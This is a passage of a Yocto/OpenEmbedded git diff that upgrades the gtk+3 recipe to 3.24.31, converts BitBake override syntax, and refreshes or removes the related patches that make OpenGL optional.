${datadir}/themes ${sysconfdir} ${datadir}/glib-2.0/schemas/ \
${libdir}/gtk-3.0/${LIBV}/engines/libpixmap.so \
${libdir}/gtk-3.0/modules/*.so"
-FILES_${PN}-dev += " \
+FILES:${PN}-dev += " \
${datadir}/gtk-3.0/gtkbuilder.rng \
${datadir}/gtk-3.0/include \
+ ${datadir}/gtk-3.0/valgrind \
${datadir}/gettext/its \
${libdir}/gtk-3.0/include \
${libdir}/gtk-3.0/${LIBV}/loaders/*.la \
@@ -125,22 +131,22 @@ GTKBASE_RRECOMMENDS ?= "liberation-fonts \
adwaita-icon-theme-symbolic \
"
-GTKBASE_RRECOMMENDS_class-native ?= "\
+GTKBASE_RRECOMMENDS:class-native ?= "\
"
GTKGLIBC_RRECOMMENDS ?= "${GTKBASE_RRECOMMENDS} glibc-gconv-iso8859-1"
-RRECOMMENDS_${PN} = "${GTKBASE_RRECOMMENDS}"
-RRECOMMENDS_${PN}_libc-glibc = "${GTKGLIBC_RRECOMMENDS}"
-RDEPENDS_${PN}-dev += "${@bb.utils.contains("PACKAGECONFIG", "wayland", "wayland-protocols", "", d)}"
+RRECOMMENDS:${PN} = "${GTKBASE_RRECOMMENDS}"
+RRECOMMENDS:${PN}:libc-glibc = "${GTKGLIBC_RRECOMMENDS}"
+RDEPENDS:${PN}-dev += "${@bb.utils.contains("PACKAGECONFIG", "wayland", "wayland-protocols", "", d)}"
PACKAGES_DYNAMIC += "^gtk3-immodule-.* ^gtk3-printbackend-.*"
-ALTERNATIVE_${PN} = "gtk-update-icon-cache"
+ALTERNATIVE:${PN} = "gtk-update-icon-cache"
ALTERNATIVE_TARGET[gtk-update-icon-cache] = "${bindir}/gtk-update-icon-cache-3.0"
ALTERNATIVE_PRIORITY = "30"
-python populate_packages_prepend () {
+python populate_packages:prepend () {
import os.path
gtk_libdir = d.expand('${libdir}/gtk-3.0/${LIBV}')
@@ -154,5 +160,5 @@ python populate_packages_prepend () {
do_split_packages(d, printmodules_root, r'^libprintbackend-(.*)\.so$', 'gtk3-printbackend-%s', 'GTK printbackend module for %s')
if (d.getVar('DEBIAN_NAMES')):
- d.setVar(d.expand('PKG_${PN}'), '${MLPREFIX}libgtk-3.0')
+ d.setVar(d.expand('PKG:${PN}'), '${MLPREFIX}libgtk-3.0')
}
diff --git a/meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch b/meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch
deleted file mode 100644
index c210bbc7d5..0000000000
--- a/meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 0ecaa5bab162abf0cb2057d77beeb7b89d5873b4 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Tue, 21 Jun 2016 14:53:56 +0300
-Subject: [PATCH 1/4] Hardcoded libtool
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 6628e21..f43ac09 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -617,7 +617,7 @@ AC_MSG_CHECKING([whether to write dependencies into .pc files])
- case $enable_explicit_deps in
- auto)
- export SED
-- deplibs_check_method=`(./libtool --config; echo 'eval echo \"$deplibs_check_method\"') | sh`
-+ deplibs_check_method=`(./$host_alias-libtool --config; echo 'eval echo \"$deplibs_check_method\"') | sh`
- if test "x$deplibs_check_method" != xpass_all || test "x$enable_static" = xyes ; then
- enable_explicit_deps=yes
- else
-@@ -895,7 +895,7 @@ else
- dnl Now we check to see if our libtool supports shared lib deps
- dnl (in a rather ugly way even)
- if $dynworks; then
-- module_libtool_config="${CONFIG_SHELL-/bin/sh} ./libtool --config"
-+ module_libtool_config="${CONFIG_SHELL-/bin/sh} ./$host_alias-libtool --config"
- module_deplibs_check=`$module_libtool_config | \
- grep '^[[a-z_]]*check[[a-z_]]*_method=[['\''"]]' | \
- sed 's/.*[['\''"]]\(.*\)[['\''"]]$/\1/'`
-@@ -1649,7 +1649,7 @@ AC_SUBST(GTK_PRINT_BACKENDS)
- # We are using gmodule-no-export now, but I'm leaving the stripping
- # code in place for now, since pango and atk still require gmodule.
- export SED
--export_dynamic=`(./libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
-+export_dynamic=`(./$host_alias-libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
- if test -n "$export_dynamic"; then
- GDK_DEP_LIBS=`echo $GDK_DEP_LIBS | sed -e "s/$export_dynamic//"`
- GTK_DEP_LIBS=`echo $GTK_DEP_LIBS | sed -e "s/$export_dynamic//"`
---
-2.12.0
-
diff --git a/meta/recipes-gnome/gtk+/gtk+3/0002-Do-not-try-to-initialize-GL-without-libGL.patch b/meta/recipes-gnome/gtk+/gtk+3/0002-Do-not-try-to-initialize-GL-without-libGL.patch
index cc7edf7607..80dc2d7a05 100644
--- a/meta/recipes-gnome/gtk+/gtk+3/0002-Do-not-try-to-initialize-GL-without-libGL.patch
+++ b/meta/recipes-gnome/gtk+/gtk+3/0002-Do-not-try-to-initialize-GL-without-libGL.patch
@@ -1,7 +1,7 @@
-From 23a563155406980dfc8cf6f7c2da6cce0ac310f0 Mon Sep 17 00:00:00 2001
+From 6575ab0f0e8c1bba033ad1616511e37a2ec995ff Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Fri, 16 Oct 2015 16:35:16 +0300
-Subject: [PATCH 2/4] Do not try to initialize GL without libGL
+Subject: [PATCH] Do not try to initialize GL without libGL
_gdk_x11_screen_update_visuals_for_gl() will end up calling epoxys
GLX api which will exit() if libGL.so.1 is not present. We do not
@@ -22,10 +22,10 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
2 files changed, 11 insertions(+)
diff --git a/configure.ac b/configure.ac
-index 757fd7c..0a48875 100644
+index e9f5583..bd651bb 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -351,6 +351,12 @@ AC_ARG_ENABLE(cloudproviders,
+@@ -346,6 +346,12 @@ AC_ARG_ENABLE(cloudproviders,
[AS_HELP_STRING([--enable-cloudproviders],
[enable libcloudproviders integration])],
[cloudproviders_set=yes])
@@ -36,8 +36,8 @@ index 757fd7c..0a48875 100644
+ AC_DEFINE([HAVE_GLX], [], [GLX will be available at runtime])
+])
- if test -z "$backend_set"; then
- if test "$platform_win32" = yes; then
+ AC_ARG_ENABLE(profiler,
+ [AS_HELP_STRING([--enable-profiler],
diff --git a/gdk/x11/gdkvisual-x11.c b/gdk/x11/gdkvisual-x11.c
index 81479d8..3c8c5c0 100644
--- a/gdk/x11/gdkvisual-x11.c
@@ -55,6 +55,3 @@ index 81479d8..3c8c5c0 100644
}
gint
---
-2.14.1
-
diff --git a/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch b/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch
index 852dc9dfcd..35cbab8761 100644
--- a/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch
+++ b/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch
@@ -1,4 +1,4 @@
-From d11b41a7ff0234f3832d6aabdf498807d1463c18 Mon Sep 17 00:00:00 2001
+From eef50c94587fc30cd624adb5eb213eb9fa663dc1 Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Tue, 21 Jun 2016 15:11:39 +0300
Subject: [PATCH] Add --disable-opengl configure option
@@ -37,20 +37,20 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
gdk/x11/gdkx-autocleanups.h | 2 +
gdk/x11/{gdkx.h => gdkx-with-gl-context.h} | 1 -
gdk/x11/gdkx-without-gl-context.h | 58 ++++++++++++++++++++++
- gtk/Makefile.am | 3 +-
+ gtk/Makefile.am | 2 +-
gtk/gtkglarea.c | 20 +++++++-
gtk/inspector/general.c | 6 +++
tests/Makefile.am | 10 ++--
testsuite/gtk/objects-finalize.c | 2 +
- 21 files changed, 208 insertions(+), 20 deletions(-)
+ 21 files changed, 208 insertions(+), 19 deletions(-)
rename gdk/x11/{gdkx.h => gdkx-with-gl-context.h} (98%)
create mode 100644 gdk/x11/gdkx-without-gl-context.h
diff --git a/configure.ac b/configure.ac
-index 2c4733b..18ae66c 100644
+index 851bcbf..6cbf6a2 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -352,6 +352,15 @@ AC_ARG_ENABLE(cloudproviders,
+@@ -346,6 +346,15 @@ AC_ARG_ENABLE(cloudproviders,
[AS_HELP_STRING([--enable-cloudproviders],
[enable libcloudproviders integration])],
[cloudproviders_set=yes])
@@ -66,21 +66,21 @@ index 2c4733b..18ae66c 100644
AC_ARG_ENABLE(glx,
[AS_HELP_STRING([--enable-glx],
[When enabled Gdk will try to initialize GLX])])
-@@ -1370,7 +1379,7 @@ CFLAGS="$saved_cflags"
+@@ -1345,7 +1354,7 @@ CFLAGS="$saved_cflags"
LDFLAGS="$saved_ldflags"
GDK_PACKAGES="$PANGO_PACKAGES gdk-pixbuf-2.0 >= gdk_pixbuf_required_version cairo >= cairo_required_version cairo-gobject >= cairo_required_version"
--GDK_PRIVATE_PACKAGES="$GDK_GIO_PACKAGE $X_PACKAGES $WAYLAND_PACKAGES $MIR_PACKAGES $cairo_backends epoxy >= epoxy_required_version $CLOUDPROVIDER_PACKAGES fribidi >= fribidi_required_version"
-+GDK_PRIVATE_PACKAGES="$GDK_GIO_PACKAGE $X_PACKAGES $WAYLAND_PACKAGES $MIR_PACKAGES $cairo_backends $EPOXY_PACKAGES $CLOUDPROVIDER_PACKAGES fribidi >= fribidi_required_version"
+-GDK_PRIVATE_PACKAGES="$GDK_GIO_PACKAGE $X_PACKAGES $WAYLAND_PACKAGES $cairo_backends epoxy >= epoxy_required_version $CLOUDPROVIDER_PACKAGES $PROFILER_PACKAGES fribidi >= fribidi_required_version"
++GDK_PRIVATE_PACKAGES="$GDK_GIO_PACKAGE $X_PACKAGES $WAYLAND_PACKAGES $cairo_backends $EPOXY_PACKAGES $CLOUDPROVIDER_PACKAGES $PROFILER_PACKAGES fribidi >= fribidi_required_version"
PKG_CHECK_MODULES(GDK_DEP, $GDK_PACKAGES $GDK_PRIVATE_PACKAGES)
GDK_DEP_LIBS="$GDK_EXTRA_LIBS $GDK_DEP_LIBS $MATH_LIB"
-@@ -1404,7 +1413,7 @@ fi
+@@ -1379,7 +1388,7 @@ fi
PKG_CHECK_MODULES(ATK, $ATK_PACKAGES)
GTK_PACKAGES="atk >= atk_required_version cairo >= cairo_required_version cairo-gobject >= cairo_required_version gdk-pixbuf-2.0 >= gdk_pixbuf_required_version gio-2.0 >= glib_required_version"
--GTK_PRIVATE_PACKAGES="$ATK_PACKAGES $WAYLAND_PACKAGES $MIR_PACKAGES epoxy >= epoxy_required_version fribidi >= fribidi_required_version"
-+GTK_PRIVATE_PACKAGES="$ATK_PACKAGES $WAYLAND_PACKAGES $MIR_PACKAGES $EPOXY_PACKAGES fribidi >= fribidi_required_version"
+-GTK_PRIVATE_PACKAGES="$ATK_PACKAGES $WAYLAND_PACKAGES epoxy >= epoxy_required_version fribidi >= fribidi_required_version"
++GTK_PRIVATE_PACKAGES="$ATK_PACKAGES $WAYLAND_PACKAGES $EPOXY_PACKAGES fribidi >= fribidi_required_version"
if test "x$enable_x11_backend" = xyes -o "x$enable_wayland_backend" = xyes; then
GTK_PRIVATE_PACKAGES="$GTK_PRIVATE_PACKAGES pangoft2"
fi
@@ -168,7 +168,7 @@ index b51e4ae..82409c7 100644
return TRUE;
}
diff --git a/docs/tools/Makefile.am b/docs/tools/Makefile.am
-index 6a6d70f..5cdf312 100644
+index bec43e3..189e8fc 100644
--- a/docs/tools/Makefile.am
+++ b/docs/tools/Makefile.am
@@ -9,13 +9,18 @@ AM_CPPFLAGS = \
@@ -210,7 +210,7 @@ index 932daf1..54239d6 100644
return info;
diff --git a/gdk/Makefile.am b/gdk/Makefile.am
-index 689ee52..d6b4e70 100644
+index 710a548..b45f631 100644
--- a/gdk/Makefile.am
+++ b/gdk/Makefile.am
@@ -274,7 +274,6 @@ x11_introspection_files = \
@@ -243,10 +243,10 @@ index 689ee52..d6b4e70 100644
GdkX11_3_0_gir_SCANNERFLAGS = \
--identifier-prefix=Gdk \
diff --git a/gdk/gdkdisplay.c b/gdk/gdkdisplay.c
-index 06d4187..832711c 100644
+index 748f548..911ab2a 100644
--- a/gdk/gdkdisplay.c
+++ b/gdk/gdkdisplay.c
-@@ -2416,7 +2416,9 @@ gboolean
+@@ -2420,7 +2420,9 @@ gboolean
gdk_display_make_gl_context_current (GdkDisplay *display,
GdkGLContext *context)
{
@@ -258,7 +258,7 @@ index 06d4187..832711c 100644
GdkRenderingMode
diff --git a/gdk/gdkgl.c b/gdk/gdkgl.c
-index 933e204..1767508 100644
+index 9690077..55f85ef 100644
--- a/gdk/gdkgl.c
+++ b/gdk/gdkgl.c
@@ -26,7 +26,9 @@
@@ -334,7 +334,7 @@ index 933e204..1767508 100644
+#endif
}
diff --git a/gdk/gdkglcontext.c b/gdk/gdkglcontext.c
-index dfbed63..556f0a3 100644
+index 3b23639..1f04f8e 100644
--- a/gdk/gdkglcontext.c
+++ b/gdk/gdkglcontext.c
@@ -85,7 +85,9 @@
@@ -380,7 +380,7 @@ index dfbed63..556f0a3 100644
/**
diff --git a/gdk/gdkwindow.c b/gdk/gdkwindow.c
-index 1416409..e3b5630 100644
+index 2de8ba4..1883a79 100644
--- a/gdk/gdkwindow.c
+++ b/gdk/gdkwindow.c
@@ -45,7 +45,9 @@
@@ -393,7 +393,7 @@ index 1416409..e3b5630 100644
/* for the use of round() */
#include "fallback-c89.c"
-@@ -2822,6 +2824,13 @@ gdk_window_get_paint_gl_context (GdkWindow *window,
+@@ -2844,6 +2846,13 @@ gdk_window_get_paint_gl_context (GdkWindow *window,
{
GError *internal_error = NULL;
@@ -407,7 +407,7 @@ index 1416409..e3b5630 100644
if (_gdk_gl_flags & GDK_GL_DISABLE)
{
g_set_error_literal (error, GDK_GL_ERROR,
-@@ -2957,6 +2966,7 @@ gdk_window_begin_paint_internal (GdkWindow *window,
+@@ -2979,6 +2988,7 @@ gdk_window_begin_paint_internal (GdkWindow *window,
}
else
{
@@ -415,7 +415,7 @@ index 1416409..e3b5630 100644
gdk_gl_context_make_current (context);
/* With gl we always need a surface to combine the gl
drawing with the native drawing. */
-@@ -2971,6 +2981,7 @@ gdk_window_begin_paint_internal (GdkWindow *window,
+@@ -2993,6 +3003,7 @@ gdk_window_begin_paint_internal (GdkWindow *window,
glBlendFunc (GL_ONE, GL_ONE_MINUS_SRC_ALPHA);
glViewport (0, 0, ww, wh);
@@ -423,7 +423,7 @@ index 1416409..e3b5630 100644
}
}
-@@ -3034,6 +3045,7 @@ gdk_window_end_paint_internal (GdkWindow *window)
+@@ -3056,6 +3067,7 @@ gdk_window_end_paint_internal (GdkWindow *window)
gdk_gl_context_make_current (window->gl_paint_context);
@@ -431,7 +431,7 @@ index 1416409..e3b5630 100644
if (!cairo_region_is_empty (opaque_region))
gdk_gl_texture_from_surface (window->current_paint.surface,
opaque_region);
-@@ -3044,6 +3056,7 @@ gdk_window_end_paint_internal (GdkWindow *window)
+@@ -3066,6 +3078,7 @@ gdk_window_end_paint_internal (GdkWindow *window)
window->current_paint.need_blend_region);
glDisable(GL_BLEND);
}
@@ -440,7 +440,7 @@ index 1416409..e3b5630 100644
cairo_region_destroy (opaque_region);
diff --git a/gdk/x11/Makefile.am b/gdk/x11/Makefile.am
-index 6289f3a..cbbac79 100644
+index 32b1f24..6352313 100644
--- a/gdk/x11/Makefile.am
+++ b/gdk/x11/Makefile.am
@@ -40,8 +40,6 @@ libgdk_x11_la_SOURCES = \
@@ -494,7 +494,7 @@ index 6289f3a..cbbac79 100644
gdkx11keys.h \
gdkx11monitor.h \
gdkx11property.h \
-@@ -87,9 +102,16 @@ libgdkx11include_HEADERS = \
+@@ -87,10 +102,17 @@ libgdkx11include_HEADERS = \
gdkx11visual.h \
gdkx11window.h
@@ -506,13 +506,14 @@ index 6289f3a..cbbac79 100644
# don't seem to be correctly expanded for the dist files.
EXTRA_DIST += \
+ gdkx.h \
- gdksettings.c
+ gdksettings.c \
+ meson.build
+MAINTAINERCLEANFILES = gdkx.h
+
-include $(top_srcdir)/git.mk
diff --git a/gdk/x11/gdkdisplay-x11.c b/gdk/x11/gdkdisplay-x11.c
-index 5b95196..9a2f2a2 100644
+index 7e08f47..30fd7b6 100644
--- a/gdk/x11/gdkdisplay-x11.c
+++ b/gdk/x11/gdkdisplay-x11.c
@@ -37,7 +37,9 @@
@@ -523,9 +524,9 @@ index 5b95196..9a2f2a2 100644
#include "gdkglcontext-x11.h"
+#endif
#include "gdk-private.h"
+ #include "gdkprofilerprivate.h"
- #include <glib.h>
-@@ -3184,7 +3186,9 @@ gdk_x11_display_class_init (GdkX11DisplayClass * class)
+@@ -3191,7 +3193,9 @@ gdk_x11_display_class_init (GdkX11DisplayClass * class)
display_class->text_property_to_utf8_list = _gdk_x11_display_text_property_to_utf8_list;
display_class->utf8_to_string_target = _gdk_x11_display_utf8_to_string_target;
@@ -537,10 +538,10 @@ index 5b95196..9a2f2a2 100644
display_class->get_default_seat = gdk_x11_display_get_default_seat;
diff --git a/gdk/x11/gdkscreen-x11.c b/gdk/x11/gdkscreen-x11.c
-index 272cecd..2bb34ac 100644
+index bb4df05..46f5349 100644
--- a/gdk/x11/gdkscreen-x11.c
+++ b/gdk/x11/gdkscreen-x11.c
-@@ -1675,3 +1675,8 @@ gdk_x11_screen_get_current_desktop (GdkScreen *screen)
+@@ -1827,3 +1827,8 @@ gdk_x11_screen_get_current_desktop (GdkScreen *screen)
{
return get_netwm_cardinal_property (screen, "_NET_CURRENT_DESKTOP");
}
@@ -550,7 +551,7 @@ index 272cecd..2bb34ac 100644
+void _gdk_x11_screen_update_visuals_for_gl (GdkScreen *screen) {}
+#endif
diff --git a/gdk/x11/gdkwindow-x11.c b/gdk/x11/gdkwindow-x11.c
-index f92a146..89f900a 100644
+index 721d9bb..8e87acc 100644
--- a/gdk/x11/gdkwindow-x11.c
+++ b/gdk/x11/gdkwindow-x11.c
@@ -36,7 +36,9 @@
@@ -563,7 +564,7 @@ index f92a146..89f900a 100644
#include "gdkprivate-x11.h"
#include "gdk-private.h"
-@@ -5839,7 +5841,9 @@ gdk_window_impl_x11_class_init (GdkWindowImplX11Class *klass)
+@@ -5881,7 +5883,9 @@ gdk_window_impl_x11_class_init (GdkWindowImplX11Class *klass)
impl_class->set_opaque_region = gdk_x11_window_set_opaque_region;
impl_class->set_shadow_width = gdk_x11_window_set_shadow_width;
impl_class->show_window_menu = gdk_x11_window_show_window_menu;
@@ -667,31 +668,23 @@ index 0000000..c9e2617
+
+#endif /* __GDK_X_H__ */
diff --git a/gtk/Makefile.am b/gtk/Makefile.am
-index e556e9d..ce912d7 100644
+index 074fb35..4fa9eb6 100644
--- a/gtk/Makefile.am
+++ b/gtk/Makefile.am
-@@ -1441,7 +1441,6 @@ gtkprivatetypebuiltins.c: $(gtk_private_type_h_sources) gtkprivatetypebuiltins.
- && cp xgen-gptbc gtkprivatetypebuiltins.c \
- && rm -f xgen-gptbc
-
--
- gtktypefuncs.c: stamp-gtktypebuiltins.h stamp-gtkprivatetypebuiltins.h $(top_srcdir)/gtk/*.h $(top_srcdir)/gtk/a11y/*.h $(top_srcdir)/gtk/deprecated/*.h $(top_srcdir)/gdk/*.h Makefile
- $(AM_V_GEN) export LC_ALL=C ; \
- (echo '#undef GTK_COMPILATION' && echo '#include <gtk/gtkx.h>') > xgen-gtfsrc.c && \
-@@ -1449,7 +1448,7 @@ gtktypefuncs.c: stamp-gtktypebuiltins.h stamp-gtkprivatetypebuiltins.h $(top_src
+@@ -1457,7 +1457,7 @@ gtktypefuncs.inc: stamp-gtktypebuiltins.h stamp-gtkprivatetypebuiltins.h $(top_s
${CPP} $(DEFS) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) xgen-gtfsrc.c | \
$(GREP) -o '\bg[td]k_[a-zA-Z0-9_]*_get_type\b' | \
sort | uniq | \
- $(SED) '{ s/^/*tp++ = /; s/$$/();/; s/^.*\(gdk_x11\|gtk_plug_\|gtk_socket_\).*$$/#ifdef GDK_WINDOWING_X11\n&\n#endif/; }' >> xgen-gtf \
+ $(SED) '{ s/^/*tp++ = /; s/$$/();/; s/^.*\(gdk_x11\|gtk_plug_\|gtk_socket_\).*$$/#ifdef GDK_WINDOWING_X11\n&\n#endif/; s/^.*gdk_x11_gl.*$$/#ifdef HAVE_OPENGL\n&\n#endif/; }' >> xgen-gtf \
&& cp xgen-gtf $@ && rm -f xgen-gtf
- $(srcdir)/gtktestutils.c: gtktypefuncs.c
+ $(srcdir)/gtktestutils.c: gtktypefuncs.inc
diff --git a/gtk/gtkglarea.c b/gtk/gtkglarea.c
-index ea383c0..bb4eb64 100644
+index 802303e..33001cf 100644
--- a/gtk/gtkglarea.c
+++ b/gtk/gtkglarea.c
-@@ -28,7 +28,9 @@
+@@ -29,7 +29,9 @@
#include "gtkprivate.h"
#include "gtkrender.h"
@@ -701,7 +694,7 @@ index ea383c0..bb4eb64 100644
/**
* SECTION:gtkglarea
-@@ -368,9 +370,12 @@ gtk_gl_area_real_create_context (GtkGLArea *area)
+@@ -369,9 +371,12 @@ gtk_gl_area_real_create_context (GtkGLArea *area)
static void
gtk_gl_area_resize (GtkGLArea *area, int width, int height)
{
@@ -714,7 +707,7 @@ index ea383c0..bb4eb64 100644
/*
* Creates all the buffer objects needed for rendering the scene
*/
-@@ -482,6 +487,7 @@ gtk_gl_area_allocate_buffers (GtkGLArea *area)
+@@ -483,6 +488,7 @@ gtk_gl_area_allocate_buffers (GtkGLArea *area)
priv->needs_render = TRUE;
}
@@ -722,7 +715,7 @@ index ea383c0..bb4eb64 100644
/**
* gtk_gl_area_attach_buffers:
-@@ -500,6 +506,7 @@ gtk_gl_area_allocate_buffers (GtkGLArea *area)
+@@ -501,6 +507,7 @@ gtk_gl_area_allocate_buffers (GtkGLArea *area)
void
gtk_gl_area_attach_buffers (GtkGLArea *area)
{
@@ -730,9 +723,9 @@ index ea383c0..bb4eb64 100644
GtkGLAreaPrivate *priv = gtk_gl_area_get_instance_private (area);
g_return_if_fail (GTK_IS_GL_AREA (area));
-@@ -532,11 +539,13 @@ gtk_gl_area_attach_buffers (GtkGLArea *area)
- glFramebufferRenderbufferEXT (GL_FRAMEBUFFER_EXT, GL_STENCIL_ATTACHMENT_EXT,
- GL_RENDERBUFFER_EXT, priv->depth_stencil_buffer);
+@@ -533,11 +540,13 @@ gtk_gl_area_attach_buffers (GtkGLArea *area)
+ glFramebufferRenderbuffer (GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT,
+ GL_RENDERBUFFER, priv->depth_stencil_buffer);
}
+#endif
}
@@ -744,15 +737,15 @@ index ea383c0..bb4eb64 100644
GtkGLAreaPrivate *priv = gtk_gl_area_get_instance_private (area);
if (priv->context == NULL)
-@@ -568,6 +577,7 @@ gtk_gl_area_delete_buffers (GtkGLArea *area)
- glDeleteFramebuffersEXT (1, &priv->frame_buffer);
+@@ -569,6 +578,7 @@ gtk_gl_area_delete_buffers (GtkGLArea *area)
+ glDeleteFramebuffers (1, &priv->frame_buffer);
priv->frame_buffer = 0;
}
+#endif
}
static void
-@@ -678,6 +688,7 @@ gtk_gl_area_draw (GtkWidget *widget,
+@@ -679,6 +689,7 @@ gtk_gl_area_draw (GtkWidget *widget,
GtkGLArea *area = GTK_GL_AREA (widget);
GtkGLAreaPrivate *priv = gtk_gl_area_get_instance_private (area);
gboolean unused;
@@ -760,7 +753,7 @@ index ea383c0..bb4eb64 100644
int w, h, scale;
GLenum status;
-@@ -689,7 +700,6 @@ gtk_gl_area_draw (GtkWidget *widget,
+@@ -690,7 +701,6 @@ gtk_gl_area_draw (GtkWidget *widget,
gtk_widget_get_allocated_height (widget));
return FALSE;
}
@@ -768,7 +761,7 @@ index ea383c0..bb4eb64 100644
if (priv->context == NULL)
return FALSE;
-@@ -735,6 +745,14 @@ gtk_gl_area_draw (GtkWidget *widget,
+@@ -736,6 +746,14 @@ gtk_gl_area_draw (GtkWidget *widget,
}
return TRUE;
@@ -784,7 +777,7 @@ index ea383c0..bb4eb64 100644
static gboolean
diff --git a/gtk/inspector/general.c b/gtk/inspector/general.c
-index c241ec8..24576dd 100644
+index 48237d1..1f9b9be 100644
--- a/gtk/inspector/general.c
+++ b/gtk/inspector/general.c
@@ -33,8 +33,10 @@
@@ -831,7 +824,7 @@ index c241ec8..24576dd 100644
if (GDK_IS_WAYLAND_DISPLAY (gdk_display_get_default ()))
{
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 7c5ca99..e4a4546 100644
+index f283e89..5e7180e 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
@@ -80,8 +80,6 @@ noinst_PROGRAMS = $(TEST_PROGS) \
@@ -864,10 +857,10 @@ index 7c5ca99..e4a4546 100644
noinst_PROGRAMS += testforeign
endif
diff --git a/testsuite/gtk/objects-finalize.c b/testsuite/gtk/objects-finalize.c
-index 0b3a519..07b096f 100644
+index 24540e3..e0f863a 100644
--- a/testsuite/gtk/objects-finalize.c
+++ b/testsuite/gtk/objects-finalize.c
-@@ -115,7 +115,9 @@ main (int argc, char **argv)
+@@ -116,7 +116,9 @@ main (int argc, char **argv)
all_types[i] != GDK_TYPE_X11_DEVICE_MANAGER_CORE &&
all_types[i] != GDK_TYPE_X11_DEVICE_MANAGER_XI2 &&
all_types[i] != GDK_TYPE_X11_DISPLAY_MANAGER &&
diff --git a/meta/recipes-gnome/gtk+/gtk+3_3.24.31.bb b/meta/recipes-gnome/gtk+/gtk+3_3.24.31.bb
new file mode 100644
index 0000000000..a53cd7a45e
--- /dev/null
+++ b/meta/recipes-gnome/gtk+/gtk+3_3.24.31.bb
@@ -0,0 +1,17 @@
+require gtk+3.inc
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "http://ftp.gnome.org/pub/gnome/sources/gtk+/${MAJ_VER}/gtk+-${PV}.tar.xz \
+ file://0002-Do-not-try-to-initialize-GL-without-libGL.patch \
+ file://0003-Add-disable-opengl-configure-option.patch \
+ file://link_fribidi.patch \
+ "
+SRC_URI[sha256sum] = "423c3e7fdb4c459ee889e35fd4d71fd2623562541c1041b11c07e5ad1ff10bf9"
+
+S = "${WORKDIR}/gtk+-${PV}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2 \
+ file://gtk/gtk.h;endline=25;md5=1d8dc0fccdbfa26287a271dce88af737 \
+ file://gdk/gdk.h;endline=25;md5=c920ce39dc88c6f06d3e7c50e08086f2 \
+ file://tests/testgtk.c;endline=25;md5=cb732daee1d82af7a2bf953cf3cf26f1"
diff --git a/meta/recipes-gnome/gtk+/gtk+3_3.24.8.bb b/meta/recipes-gnome/gtk+/gtk+3_3.24.8.bb
deleted file mode 100644
index d79b18bee0..0000000000
--- a/meta/recipes-gnome/gtk+/gtk+3_3.24.8.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require gtk+3.inc
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "http://ftp.gnome.org/pub/gnome/sources/gtk+/${MAJ_VER}/gtk+-${PV}.tar.xz \
- file://0001-Hardcoded-libtool.patch \
- file://0002-Do-not-try-to-initialize-GL-without-libGL.patch \
- file://0003-Add-disable-opengl-configure-option.patch \
- file://link_fribidi.patch \
- "
-SRC_URI[md5sum] = "eeedde01856238114dcf4df3ebc942a5"
-SRC_URI[sha256sum] = "666962de9b9768fe9ca785b0e2f42c8b9db3868a12fa9b356b167238d70ac799"
-
-S = "${WORKDIR}/gtk+-${PV}"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2 \
- file://gtk/gtk.h;endline=25;md5=1d8dc0fccdbfa26287a271dce88af737 \
- file://gdk/gdk.h;endline=25;md5=c920ce39dc88c6f06d3e7c50e08086f2 \
- file://tests/testgtk.c;endline=25;md5=cb732daee1d82af7a2bf953cf3cf26f1"
diff --git a/meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch b/meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch
index 5ca4e3e086..1d260aa72b 100644
--- a/meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch
+++ b/meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch
@@ -1,4 +1,4 @@
-From 657310f3842c84d28f6b77e8ad4d9b93472ca5da Mon Sep 17 00:00:00 2001
+From ebb0f7313a0931f646e86badce2627eff2fa37a8 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Mon, 5 Sep 2016 22:25:44 +0100
Subject: [PATCH] Use native pkg-config when looking for gtk-doc.
diff --git a/meta/recipes-gnome/gtk-doc/gtk-doc_1.32.bb b/meta/recipes-gnome/gtk-doc/gtk-doc_1.32.bb
deleted file mode 100644
index 50d4d99722..0000000000
--- a/meta/recipes-gnome/gtk-doc/gtk-doc_1.32.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Documentation generator for glib-based software"
-DESCRIPTION = "Gtk-doc is a set of scripts that extract specially formatted comments \
